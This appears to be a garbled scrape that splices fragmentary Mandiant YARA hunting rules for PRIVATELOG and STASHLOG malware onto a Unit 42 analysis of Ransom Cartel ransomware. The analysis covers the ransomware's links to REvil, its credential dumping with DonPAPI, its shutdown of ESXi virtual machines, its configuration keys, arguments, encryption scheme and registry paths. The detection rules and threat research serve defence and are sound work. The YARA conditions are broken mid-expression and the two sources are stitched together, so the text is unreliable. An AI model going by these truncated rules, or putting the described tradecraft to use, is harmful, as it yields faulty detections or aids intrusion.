These rules should be tested thoroughly before they are run in a production environment.


import "math" import "pe" rule HUNTING_Win_PRIVATELOG_CLFS { meta: author = "adrien.bataille@mandiant.com" description = "This rule looks for CLFS containers containing possible data used by PRIVATELOG.


As this rule may loop on file content, preferably use on regtrans-ms files only or with caution."


== 0 // always 0 and uint32(16) == 1 // always 1 and uint32(20) == 0 // always 0 and uint32(40)


== 0x70 // size of record header // size of data at least 0x28 for first record and uint32(0x70+0x18) - 0x28 >= 0x28 // payloadHeader.numblocks (payloadHeader at 0x70+uint16(0x70+0x22)) and (uint16(0x70+uint16(0x70+0x22)+0x10) == 0x2 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x3 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x4 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x5) // this is a size, assume it is less than our filesize and uint32(0x70+uint16(0x70+0x22)+0xC) < filesize // confirm malware using 2 different methods and ( // look for hardcoded magic in first log record uint32(0x70+uint16(0x70+0x22))


== 0x00686365 or // loop through each possible sector to look for a blockheader struct for any i in (0 .. (filesize \ 512) - 1): ( // look for record header, num sectors and size of record uint16(i*512)==0x0015 and uint16(i*512+4) == uint16(i*512+6) and uint16(i*512+4) !


and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) > 0x200 and uint32(i*512+0x88) < filesize // look for high entropy in the record[8:] to account for possible block header and math.entropy(i*512+0x70+uint16(i*512+0x70+0x22)+8, i*512+0x70+uint16(i*512+0x70+0x22)+uint32(i*512+0x88)-0x28) > 7.95 ) } rule HUNTING_Win_PRIVATELOG_1_strict { meta: author = "adrien.bataille@mandiant.com" description = "Detects PRIVATELOG and STASHLOG variants based on strings and imports" md5 = "91b08896fbda9edb8b6f93a6bc811ec6" strings: $hvid = "Global\\HVID_" ascii $apci = "Global\\APCI#" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))


== 0x00004550 and ( all of them and ( pe.imports("clfsw32.dll","CreateLogMarshallingArea") and pe.imports("kernel32.dll", "VirtualProtect") and pe.imports("ktmw32.dll", "CreateTransaction") and pe.imports("kernel32.dll", "CreateFileTransactedA") ) ) } rule HUNTING_Win_PRIVATELOG_2_notstrict { meta: author = "adrien.bataille@mandiant.com" description = "Detects possible PRIVATELOG and STASHLOG variants based on strings or imports.


This rule is purposefully loose so there may be a higher FP rate."


== 0x00004550 and ( any of them or ( pe.imports("clfsw32.dll","CreateLogMarshallingArea") and pe.imports("kernel32.dll", "VirtualProtect") and pe.imports("ktmw32.dll", "CreateTransaction") and pe.imports("kernel32.dll", "CreateFileTransactedA") ) ) } rule HUNTING_Win_hijack_prntvpt { meta: author = "adrien.bataille@mandiant.com" description = "Detects possible hijack of legitimate prntvpt.dll based on missing export" md5 = "91b08896fbda9edb8b6f93a6bc811ec6" condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))


== 0x00004550 and pe.exports("PTOpenProviderEx") and not pe.exports("MergeAndValidatePrintTicketThunk") } EDR / SIEM To complement static hunting with Yara, Mandiant also recommends hunting for similar indicators of compromise in “process”, “imageload” or “filewrite” events of typical EDR logs.


Figure 5 identifies key modules loaded by PRIVATELOG that may be used to create hunting queries: ktmw32.dll, dbghelp.dll and clfsw32.dll. Figure 5: Memory view of a running PRIVATELOG process


For example, file writes to the registry transaction file for the default user are likely to be uncommon.


Hashes PRIVATELOG Prntvpt.dll: 1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c STASHLOG Shiver.exe: 720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397 MITRE ATT&ACK Techniques ID Technique T1012 Query Registry T1564 Hide Artifacts T1574 Hijack Execution Flow T1574.002 DLL Side-Loading T1055.013 Process Injection: Process Doppelgänging FireEye Product Detections Platform(s) Detection Name Network Security Email Security Detection On Demand Malware Analysis File Protect FE_APT_Loader_Win_PRIVATELOG FE_APT_Installer_Win_STASHLOG HX Security Generic.mg.0c605276ff21b515


This ransomware performs double extortion attacks and exhibits several similarities and technical overlaps with REvil ransomware.

Ransom Cartel Ransomware A Possible Connection With REvil


When Ransom Cartel first appeared, it was unclear whether it was a rebrand of REvil or an unrelated threat actor who reused or mimicked REvil ransomware code.


In this report, we will provide our analysis of Ransom Cartel ransomware, as well as our assessment of the possible connections between REvil and Ransom Cartel ransomware.


Palo Alto Networks customers receive help with the detection and prevention of Ransom Cartel ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).


If you think a cyber incident may have impacted you, the Unit 42 Incident Response team is available 24/7/365.


You can also take preventative steps by requesting any of our cyber risk management services. Indicators of compromise and Ransom Cartel-associated tactics, techniques and procedures (TTPs) can be found in the Ransom Cartel ATOM.


We updated this blog on Oct. 15 based on further analysis, additional evidence and discussion around the complexities of redirects from REvil’s dark web leak site.


Updated sections include our History of the REvil Disappearance and the Ransom Cartel Overview.


Table of Contents History of the REvil DisappearanceRansom Cartel OverviewTTPs Observed During Ransom Cartel AttacksRansom NotesRansom Cartel TOR SiteTechnical Details Ransom Cartel and REvil Code ComparisonRansom Cartel Tactics, Techniques and ProceduresMalware, Tools and Exploits UsedConclusionIndicators of Compromise History of the REvil Disappearance In October 2021, REvil operators went quiet.


Around mid-April 2022, individual security researchers and cybersecurity media outlets reported a new development with REvil that could signify the gang’s return.


REvil’s name-and-shame blogs at the dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion and aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion domains started redirecting users to a new name-and-shame blog available at blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog.


This redirect was documented in our post, “Understanding REvil,” in Bleeping Computer’s post on REvil’s TOR sites redirecting to a new ransomware operation and in a Twitter post from vx-underground.


Later the same day, the redirect was removed (as noted by vx-underground).


They also included the old file-sharing links previously used by REvil as proof of compromise.


The newly established blog listed Tox Chat ID for communication with the ransomware operator.


The blog hinted at its operators’ connection to REvil with the claim that the newer group offered “the same, yet improved software.”


Unit 42 initially believed that this blog was linked to Ransom Cartel and that the “improved software” the threat actors referred to was a new Ransom Cartel variant.


However, after further analysis and seeing more evidence, we believe it is also possible that the name-and-shame blog and Ransom Cartel are two separate operations.


To read more about REvil, its disappearance and the redirect, please refer to our blog, Understanding REvil.


Security researchers at MalwareHunterTeam believe the group to have been active since at least December 2021.


They observed the first known Ransom Cartel activity and noticed several similarities and technical overlaps with REvil ransomware.


One theory in the community suggests that Ransom Cartel could be the result of multiple groups merging.


However, researchers at MalwareHunterTeam have put forward that one of the groups believed to have merged has denied any connection with Ransom Cartel.


This suggests there was a relationship between the groups at some point, though it may not have been recent.


Unit 42 incident responders have also assisted clients with response efforts in several Ransom Cartel cases.


This includes access credentials for external remote services, remote desktop protocol (RDP), secure shell protocol (SSH) and virtual private networks (VPNs).


These credentials are widely available in the cyber underground and offer threat actors a reliable means to gain access to victims' corporate networks.


These credentials can also be obtained through the work of ransomware operators themselves or by purchasing them from an initial access broker.


Initial access brokers are actors who offer to sell compromised network access.


Due to the profitability of ransomware, these brokers likely have working relationships with RaaS groups based on the amount they are willing to pay.


Unit 42 has seen evidence that Ransom Cartel has relied on this type of service to gain initial access for ransomware deployment.


Unit 42 has also observed Ransom Cartel encrypting both Windows and Linux VMWare ESXi servers in attacks on corporate networks.


Tactics, Techniques and Procedures Observed During Ransom Cartel Attacks Unit 42 observed a Ransom Cartel threat actor using a tool called DonPAPI, which has not been observed in past incidents.


This tool can locate and retrieve Windows Data Protection API (DPAPI) protected credentials, which is known as DPAPI dumping.


DonPAPI is used to search machines for certain files known to be DPAPI blobs, including Wi-Fi keys, RDP passwords,


credentials saved in web browsers, etc.


To compromise Linux ESXi devices, Ransom Cartel uses DonPAPI to harvest credentials stored in web browsers used to authenticate to the vCenter web interface.


The threat actor will create new accounts and sets the account’s user identifier (UID) to zero.


For Unix/Linux users, a UID=0 is root.


This means any security checks are bypassed.


The threat actor was observed downloading and using a cracked version of a legitimate tool called PDQ Inventory, which is a legitimate system management solution that IT administrators use to scan their network and collect hardware, software and Windows configuration data.


Once a VMware ESXi server is compromised, the threat actor launches the encryptor, which will automatically enumerate the running virtual machines (VMs) and shut them down using the esxcli command.


Terminating the VM processes ensures that the ransomware can successfully encrypt VMware-related files.


During encryption, Ransom Cartel specifically seeks out files with the following file extensions: .log, .vmdk, .vmem, .vswp and .vmsn.


In addition to the use of similar wording, both notes employed the same format of a 16-byte hexadecimal string for the UID. Figure 2.


Ransom Cartel ransom note shown on the left, compared to a ransom note sent by REvil shown on the right.


We’ve observed multiple TOR URLs belonging to Ransom Cartel, which likely indicates that they had been changing infrastructure and actively developing their website.


Ransom Cartel TOR site landing page.


Upon entering the TOR site through the Authorization button, a screen requesting input of the details included in the ransom note is requested.


Ransom Cartel website, requesting the ID and key provided in the ransom note.


Once authorization is completed on the TOR site, the page shown in Figure 5 appears.


Technical Details Two Ransom Cartel samples were used during this analysis: File one SHA256: 55e4d509de5b0f1ea888ff87eb0d190c328a559d7cc5653c46947e57c0f01ec5File two SHA256: 2411a74b343bbe51b2243985d5edaaabe2ba70e0c923305353037d1f442a91f5 Both of the samples contained three total exports:


RathbuigeServiceMainSvchostPushServiceGlobals The samples also contain a DllEntryPoint, should the DLL be executed without specifying an export.


If this value is anything other than 0, the ransomware will proceed to spawn another instance of itself via rundll32.exe, specifying the Rathbuige export.


The Rathbuige export starts by creating the following mutex: Global\\266ee996-e1ac-4eaa-9bdb-0b639d41b32d Once the mutex is created, the sample begins to decrypt and parse its embedded configuration.


The configuration is stored as a base64-encoded blob, whereby the first 16 bytes of the base64-encoded blob is the RC4 key used for decrypting the rest of the blob once it has been decoded.


Once decrypted, the configuration is stored in JSON format and consists of information such as encrypted file extension, the threat actors' public Curve25519-donna key, a base64-encoded ransom note, and a list of processes and services to terminate prior to encryption.


Example of decrypted Ransom Cartel configuration.


A breakdown of the keys and their values within the configuration can be seen in Table 2. Configuration Key Value pk Attacker public key dbg Debug mode wht Allow listed items Files to avoid Extensions to avoid prc Processes to terminate svc Services to terminate nname Name of ransom note file nbody Ransom note content ext Encrypted file extension Table 2.


Configuration structure.


Targeted process list.


mod cpl ps1 cab com ani diagcab adv themepack shs sys rom cur ldf msu mpa spl msi msc wpx 386 diagcfg lock prf deskthemepack bin ico diagpkg nomedia idx ics hlp msp msstyles key cmd scr exe drv hta nls dll lnk icns ocx theme bat icl rtp Table 5.


Following decryption of the configuration, certain system information is gathered, including the username, computer name, domain name, locale and product name.


Key Value ver Version of the ransomware, hardcoded.


In both samples set to 0x65 (101) pk Public key found within the configuration uid Unique identifier calculated via CRC-32 hashing certain machine information sk Encoded session secret unm Username net Computer name grp Computer domain lng Computer locale bro Does keyboard locale match any hardcoded locale value – true/false os Product name bit System architecture dsk Disk information ext Ransomware extension Table 6.


Hardcoded JSON format keys and values.


Once the configuration has been parsed and stored within the registry, the command line provided to the ransomware is parsed.


There are a total of five possible arguments, as shown in Table 7. Argument Description -nolan Instruct the sample not to attempt any form of network drive encryption -nolocal Prevent the encryption of all local volumes -path Target specific file path to encrypt -silent Appears to instruct the ransomware to avoid terminating running processes and services, and it begins encrypting files immediately -smode Causes the ransomware to use BCEdit in order to enable Safe Boot; check out this article on REvil’s use of “Windows Safe Mode” encryption for a discussion about this particular technique.


Table 7.


Ransom Cartel accepted arguments.


With that, let’s move on to analyzing the session secret generation procedure.


Ransom Cartel first checks to see if the registry already contains previously generated values; if so, it will read those values into memory.


Otherwise, it will generate a total of two session secrets at runtime, with each secret containing 88 bytes of data.


When generating the first session secret, another session key pair is generated, (session_public_2 and session_private_2) and session_private_2 is paired with attacker_cfg_public (the public key embedded within the configuration) to generate a shared key.


This shared key is then hashed with the SHA3 hashing algorithm.


The resulting hash is used as an AES key with a random 16-byte initialization vector (IV) for encrypting a data blob consisting of four null bytes followed by session_private_1. Figure 8.


From there, the encrypted blob is hashed using CRC-32, and then appended with the values session_public_2, the AES IV, and the calculated CRC-32 hash.


The resulting value is session_secret_1.


Decompiled session secret generation procedure.


One final embedded public key (attacker_embedded_public_2) is used to encrypt the data formatted into the JSON structure described above.


This method of generating session secrets was documented by researchers at Amossys back in 2020; however, their analysis focused on an updated version of Sodinokibi/REvil ransomware, indicating a direct overlap between the REvil source code and the latest Ransom Cartel samples.


Once the session secrets have been generated, they are written to the registry, alongside session_public_1 and attacker_cfg_public.


Path Name Value SOFTWARE\\Google_Authenticator\\ WRZfsL attacker_cfg_public SOFTWARE\\Google_Authenticator\\ RB4y session_public_1 SOFTWARE\\Google_Authenticator\\ Kbcn0 session_secret_1 SOFTWARE\\Google_Authenticator\\ BSjHn session_secret_2 Table 8.


At this point, all the required information is gathered and generated so that file encryption can begin.


For each file, a unique file public and private key pair are generated (file_public_1 and file_private_1), once again using Curve25519 Donna.


file_private_1 and session_public_1 are paired together to generate a shared key, which is hashed using SHA3.


The CRC-32 hash of file_public_1 is calculated, and then four null bytes are encrypted using the generated Salsa20 matrix.


Certain elements of the above data are then retained and used as part of the encrypted file footer; each file footer is 232 bytes in length and is made up of the following:


session_secret_1 (88 bytes)


session_secret_2 (88 bytes) file_public_1


File encryption setup process.


Ransom Cartel and REvil Code Comparison The Ransom Cartel samples analyzed revealed similarities with REvil ransomware.


The first notable similarity between Ransom Cartel and REvil is the structure of the configuration.


Examining a sample of REvil from 2019 (SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3), the resemblance can be seen.


Once the REvil configuration has decrypted, it utilizes the same JSON format, but contains additional values such as pid, sub, fast, wipe and dmn.


Decrypted REvil configuration.


As discussed previously, another major overlap is the code reuse across the two samples of Ransom Cartel.


REvil session secret generation function.


Both use Salsa20 and Curve25519 for file encryption, and there are very few differences in the layout of the encryption routine besides the structure of the internal type structs.


REvil file encryption setup function.


Ransom Cartel Tactics, Techniques and Procedures Below is a list of TTPs observed being used by Ransom Cartel affiliates: TTPs Notes TA0001


Valid Accounts Uses legitimate VPN, RDP, Citrix or VNC credentials to maintain access to an environment. T1133.


PowerShell Uses PowerShell to retrieve the malicious payload and download additional resources such as Mimikatz and Rclone. T1059.003 Command and Scripting Interpreter:


Windows Command Shell Uses cmd.exe to execute commands.